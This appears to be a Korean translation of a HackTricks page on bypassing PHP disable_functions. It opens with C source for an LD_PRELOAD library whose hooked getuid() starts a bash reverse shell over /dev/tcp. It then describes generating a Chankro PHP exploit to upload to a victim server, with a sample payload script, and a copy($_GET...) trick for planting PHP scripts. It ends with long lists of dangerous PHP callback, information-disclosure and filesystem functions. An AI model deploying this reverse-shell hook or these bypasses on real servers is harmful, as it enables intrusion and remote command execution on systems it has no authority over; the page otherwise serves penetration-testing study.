๋‹ค์Œ์€ LD_PRELOAD ํ™˜๊ฒฝ ๋ณ€์ˆ˜๋ฅผ ์•…์šฉํ•˜๊ธฐ ์œ„ํ•ด ์ปดํŒŒ์ผํ•  ์ˆ˜ ์žˆ๋Š” ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ์ž…๋‹ˆ๋‹ค:

#include <unistd.h>
#include <sys/types.h>
#include <stdio.h>
#include <stdlib.h>

uid_t getuid(void){
unsetenv("LD_PRELOAD");
system("bash -c \"sh -i >& /dev/tcp/127.0.0.1/1234 0>&1\"");
return 1;
}

Chankro๋ฅผ ์ด์šฉํ•œ ์šฐํšŒ

์ด ์ž˜๋ชป๋œ ์„ค์ •์„ ์•…์šฉํ•˜๊ธฐ ์œ„ํ•ด Chankro๋ฅผ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๋Š” ์ทจ์•ฝํ•œ ์„œ๋ฒ„์— ์—…๋กœ๋“œํ•˜๊ณ  ์‹คํ–‰ํ•ด์•ผ ํ•˜๋Š” PHP ์ต์Šคํ”Œ๋กœ์ž‡์„ ์ƒ์„ฑํ•˜๋Š” ๋„๊ตฌ์ž…๋‹ˆ๋‹ค (์›น์„ ํ†ตํ•ด ์ ‘๊ทผ).
Chankro๋Š” ํ”ผํ•ด์ž์˜ ๋””์Šคํฌ์— ์‹คํ–‰ํ•˜๊ณ ์ž ํ•˜๋Š” ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ์™€ ๋ฆฌ๋ฒ„์Šค ์…ธ์„ ์ž‘์„ฑํ•˜๊ณ , LD_PRELOAD ํŠธ๋ฆญ + PHP mail() ํ•จ์ˆ˜๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ๋ฆฌ๋ฒ„์Šค ์…ธ์„ ์‹คํ–‰ํ•ฉ๋‹ˆ๋‹ค.

Chankro๋ฅผ ์‚ฌ์šฉํ•˜๊ธฐ ์œ„ํ•ด์„œ๋Š” mail๊ณผ putenv๊ฐ€ disable_functions ๋ชฉ๋ก์— ๋‚˜ํƒ€๋‚˜๋ฉด ์•ˆ ๋ฉ๋‹ˆ๋‹ค.
๋‹ค์Œ ์˜ˆ์ œ์—์„œ๋Š” arch 64์— ๋Œ€ํ•œ chankro ์ต์Šคํ”Œ๋กœ์ž‡์„ ์ƒ์„ฑํ•˜๋Š” ๋ฐฉ๋ฒ•์„ ๋ณด์—ฌ์ฃผ๋ฉฐ, ์ด๋Š” whoami๋ฅผ ์‹คํ–‰ํ•˜๊ณ  ์ถœ๋ ฅ์„ _/tmp/chankro_shell.out_์— ์ €์žฅํ•ฉ๋‹ˆ๋‹ค. chankro๋Š” ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ์™€ ํŽ˜์ด๋กœ๋“œ๋ฅผ _/tmp_์— ์ž‘์„ฑํ•˜๊ณ , ์ตœ์ข… ์ต์Šคํ”Œ๋กœ์ž‡์€ bicho.php๋ผ๊ณ  ๋ถˆ๋ฆฌ๊ฒŒ ๋ฉ๋‹ˆ๋‹ค (์ด ํŒŒ์ผ์„ ํ”ผํ•ด์ž์˜ ์„œ๋ฒ„์— ์—…๋กœ๋“œํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค):

#!/bin/sh
whoami > /tmp/chankro_shell.out

mail ํ•จ์ˆ˜๊ฐ€ ๋น„ํ™œ์„ฑํ™”๋œ ํ•จ์ˆ˜์— ์˜ํ•ด ์ฐจ๋‹จ๋œ ๊ฒฝ์šฐ, mb_send_mail ํ•จ์ˆ˜๋ฅผ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์„์ง€๋„ ๋ชจ๋ฆ…๋‹ˆ๋‹ค.
์ด ๊ธฐ์ˆ ๊ณผ Chankro์— ๋Œ€ํ•œ ๋” ๋งŽ์€ ์ •๋ณด๋Š” ์—ฌ๊ธฐ์—์„œ ํ™•์ธํ•˜์„ธ์š”: https://www.tarlogic.com/en/blog/how-to-bypass-disable_functions-and-open_basedir/

โ€œ์šฐํšŒโ€ PHP ๊ธฐ๋Šฅ ์‚ฌ์šฉ

PHP๋ฅผ ์‚ฌ์šฉํ•˜๋ฉด ํŒŒ์ผ์„ ์ฝ๊ณ  ์“ฐ๊ณ , ๋””๋ ‰ํ† ๋ฆฌ๋ฅผ ์ƒ์„ฑํ•˜๊ณ , ๊ถŒํ•œ์„ ๋ณ€๊ฒฝํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
๋˜ํ•œ ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค๋ฅผ ๋คํ”„ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
PHP๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ๋ฐ•์Šค๋ฅผ ์—ด๊ฑฐํ•˜๋ฉด ๊ถŒํ•œ ์ƒ์Šน/๋ช…๋ น ์‹คํ–‰ ๋ฐฉ๋ฒ•์„ ์ฐพ์„ ์ˆ˜ ์žˆ์„์ง€๋„ ๋ชจ๋ฆ…๋‹ˆ๋‹ค (์˜ˆ: ์ผ๋ถ€ ๊ฐœ์ธ ssh ํ‚ค ์ฝ๊ธฐ).

์ด ์ž‘์—…์„ ์‰ฝ๊ฒŒ ์ˆ˜ํ–‰ํ•  ์ˆ˜ ์žˆ๋Š” ์›น์‰˜์„ ๋งŒ๋“ค์—ˆ์Šต๋‹ˆ๋‹ค (๋Œ€๋ถ€๋ถ„์˜ ์›น์‰˜๋„ ์ด๋Ÿฌํ•œ ์˜ต์…˜์„ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค): https://github.com/carlospolop/phpwebshelllimited

๋ชจ๋“ˆ/๋ฒ„์ „ ์˜์กด์  ์šฐํšŒ

ํŠน์ • ๋ชจ๋“ˆ์ด ์‚ฌ์šฉ๋˜๊ฑฐ๋‚˜ ํŠน์ • PHP ๋ฒ„์ „์„ ์•…์šฉํ•˜๋Š” ๊ฒฝ์šฐ disable_functions๋ฅผ ์šฐํšŒํ•˜๋Š” ์—ฌ๋Ÿฌ ๋ฐฉ๋ฒ•์ด ์žˆ์Šต๋‹ˆ๋‹ค:

์ž๋™ ๋„๊ตฌ

๋‹ค์Œ ์Šคํฌ๋ฆฝํŠธ๋Š” ์—ฌ๊ธฐ์—์„œ ์–ธ๊ธ‰๋œ ๋ช‡ ๊ฐ€์ง€ ๋ฐฉ๋ฒ•์„ ์‹œ๋„ํ•ฉ๋‹ˆ๋‹ค:
https://github.com/l3m0n/Bypass_Disable_functions_Shell/blob/master/shell.php

๊ธฐํƒ€ ํฅ๋ฏธ๋กœ์šด PHP ํ•จ์ˆ˜

์ฝœ๋ฐฑ์„ ํ—ˆ์šฉํ•˜๋Š” ํ•จ์ˆ˜ ๋ชฉ๋ก

์ด ํ•จ์ˆ˜๋“ค์€ ๊ณต๊ฒฉ์ž๊ฐ€ ์„ ํƒํ•œ ํ•จ์ˆ˜๋ฅผ ํ˜ธ์ถœํ•˜๋Š” ๋ฐ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ๋Š” ๋ฌธ์ž์—ด ๋งค๊ฐœ๋ณ€์ˆ˜๋ฅผ ํ—ˆ์šฉํ•ฉ๋‹ˆ๋‹ค. ํ•จ์ˆ˜์— ๋”ฐ๋ผ ๊ณต๊ฒฉ์ž๋Š” ๋งค๊ฐœ๋ณ€์ˆ˜๋ฅผ ์ „๋‹ฌํ•  ์ˆ˜ ์žˆ๋Š” ๋Šฅ๋ ฅ์ด ์žˆ์„ ์ˆ˜๋„ ์žˆ๊ณ  ์—†์„ ์ˆ˜๋„ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด ๊ฒฝ์šฐ phpinfo()์™€ ๊ฐ™์€ ์ •๋ณด ์œ ์ถœ ํ•จ์ˆ˜๋ฅผ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Callbacks / Callables

์—ฌ๊ธฐ์—์„œ ๋ชฉ๋ก์„ ๋”ฐ๋ฆ…๋‹ˆ๋‹ค

// Function => Position of callback arguments
'ob_start' => 0,
'array_diff_uassoc' => -1,
'array_diff_ukey' => -1,
'array_filter' => 1,
'array_intersect_uassoc' => -1,
'array_intersect_ukey' => -1,
'array_map' => 0,
'array_reduce' => 1,
'array_udiff_assoc' => -1,
'array_udiff_uassoc' => array(-1, -2),
'array_udiff' => -1,
'array_uintersect_assoc' => -1,
'array_uintersect_uassoc' => array(-1, -2),
'array_uintersect' => -1,
'array_walk_recursive' => 1,
'array_walk' => 1,
'assert_options' => 1,
'uasort' => 1,
'uksort' => 1,
'usort' => 1,
'preg_replace_callback' => 1,
'spl_autoload_register' => 0,
'iterator_apply' => 1,
'call_user_func' => 0,
'call_user_func_array' => 0,
'register_shutdown_function' => 0,
'register_tick_function' => 0,
'set_error_handler' => 0,
'set_exception_handler' => 0,
'session_set_save_handler' => array(0, 1, 2, 3, 4, 5),
'sqlite_create_aggregate' => array(2, 3),
'sqlite_create_function' => 2,

์ •๋ณด ๋…ธ์ถœ

์ด ํ•จ์ˆ˜ ํ˜ธ์ถœ์˜ ๋Œ€๋ถ€๋ถ„์€ ์‹ฑํฌ๊ฐ€ ์•„๋‹™๋‹ˆ๋‹ค. ๊ทธ๋Ÿฌ๋‚˜ ๋ฐ˜ํ™˜๋œ ๋ฐ์ดํ„ฐ ์ค‘ ์ผ๋ถ€๊ฐ€ ๊ณต๊ฒฉ์ž์—๊ฒŒ ๋ณด์ผ ์ˆ˜ ์žˆ๋‹ค๋ฉด ์ด๋Š” ์ทจ์•ฝ์ ์ด ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๊ณต๊ฒฉ์ž๊ฐ€ phpinfo()๋ฅผ ๋ณผ ์ˆ˜ ์žˆ๋‹ค๋ฉด ์ด๋Š” ํ™•์‹คํžˆ ์ทจ์•ฝ์ ์ž…๋‹ˆ๋‹ค.

phpinfo
posix_mkfifo
posix_getlogin
posix_ttyname
getenv
get_current_user
proc_get_status
get_cfg_var
disk_free_space
disk_total_space
diskfreespace
getcwd
getlastmo
getmygid
getmyinode
getmypid
getmyuid

๊ธฐํƒ€

extract    // Opens the door for register_globals attacks (see study in scarlet).
parse_str  // works like extract if only one argument is given.
putenv
ini_set
mail       // has CRLF injection in the 3rd parameter, opens the door for spam.
header     // on old systems CRLF injection could be used for xss or other purposes, now it is still a problem if they do a header("location: ..."); and they do not die();. The script keeps executing after a call to header(), and will still print output normally. This is nasty if you are trying to protect an administrative area.
proc_nice
proc_terminate
proc_close
pfsockopen
fsockopen
apache_child_terminate
posix_kill
posix_mkfifo
posix_setpgid
posix_setsid
posix_setuid

Filesystem Functions

RATS์— ๋”ฐ๋ฅด๋ฉด php์˜ ๋ชจ๋“  ํŒŒ์ผ ์‹œ์Šคํ…œ ํ•จ์ˆ˜๋Š” ๋ถˆ์พŒํ•ฉ๋‹ˆ๋‹ค. ์ด ์ค‘ ์ผ๋ถ€๋Š” ๊ณต๊ฒฉ์ž์—๊ฒŒ ๊ทธ๋‹ค์ง€ ์œ ์šฉํ•˜์ง€ ์•Š์€ ๊ฒƒ์ฒ˜๋Ÿผ ๋ณด์ž…๋‹ˆ๋‹ค. ๊ทธ๋Ÿฌ๋‚˜ ๋‹ค๋ฅธ ๊ฒƒ๋“ค์€ ์ƒ๊ฐ๋ณด๋‹ค ๋” ์œ ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์˜ˆ๋ฅผ ๋“ค์–ด allow_url_fopen=On์ธ ๊ฒฝ์šฐ URL์„ ํŒŒ์ผ ๊ฒฝ๋กœ๋กœ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์œผ๋ฏ€๋กœ copy($_GET[โ€˜sโ€™], $_GET[โ€˜dโ€™]); ํ˜ธ์ถœ์„ ํ†ตํ•ด ์‹œ์Šคํ…œ์˜ ์–ด๋А ์œ„์น˜์—๋‚˜ PHP ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์—…๋กœ๋“œํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๋˜ํ•œ ์‚ฌ์ดํŠธ๊ฐ€ GET์„ ํ†ตํ•ด ์ „์†ก๋œ ์š”์ฒญ์— ์ทจ์•ฝํ•˜๋‹ค๋ฉด, ์ด๋Ÿฌํ•œ ๋ชจ๋“  ํŒŒ์ผ ์‹œ์Šคํ…œ ํ•จ์ˆ˜๋Š” ์„œ๋ฒ„๋ฅผ ํ†ตํ•ด ๋‹ค๋ฅธ ํ˜ธ์ŠคํŠธ๋กœ ๊ณต๊ฒฉ์„ ์ „๋‹ฌํ•˜๋Š” ๋ฐ ์•…์šฉ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Open filesystem handler

fopen
tmpfile
bzopen
gzopen
SplFileObject->__construct

ํŒŒ์ผ ์‹œ์Šคํ…œ์— ์“ฐ๊ธฐ (์ฝ๊ธฐ์™€ ๋ถ€๋ถ„์ ์œผ๋กœ ๊ฒฐํ•ฉ)

chgrp
chmod
chown
copy
file_put_contents
lchgrp
lchown
link
mkdir
move_uploaded_file
rename
rmdir
symlink
tempnam
touch
unlink
imagepng     // 2nd parameter is a path.
imagewbmp    // 2nd parameter is a path.
image2wbmp   // 2nd parameter is a path.
imagejpeg    // 2nd parameter is a path.
imagexbm     // 2nd parameter is a path.
imagegif     // 2nd parameter is a path.
imagegd      // 2nd parameter is a path.
imagegd2     // 2nd parameter is a path.
iptcembed
ftp_get
ftp_nb_get
scandir

ํŒŒ์ผ ์‹œ์Šคํ…œ์—์„œ ์ฝ๊ธฐ

file_exists
-- file_get_contents
file
fileatime
filectime
filegroup
fileinode
filemtime
fileowner
fileperms
filesize
filetype
glob
is_dir
is_executable
is_file
is_link
is_readable
is_uploaded_file
is_writable
is_writeable
linkinfo
lstat
parse_ini_file
pathinfo
readfile
readlink
realpath
stat
gzfile
readgzfile
getimagesize
imagecreatefromgif
imagecreatefromjpeg
imagecreatefrompng
imagecreatefromwbmp
imagecreatefromxbm
imagecreatefromxpm
ftp_put
ftp_nb_put
exif_read_data
read_exif_data
exif_thumbnail
exif_imagetype
hash_file
hash_hmac_file
hash_update_file
md5_file
sha1_file
-- highlight_file
-- show_source
php_strip_whitespace
get_meta_tags

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ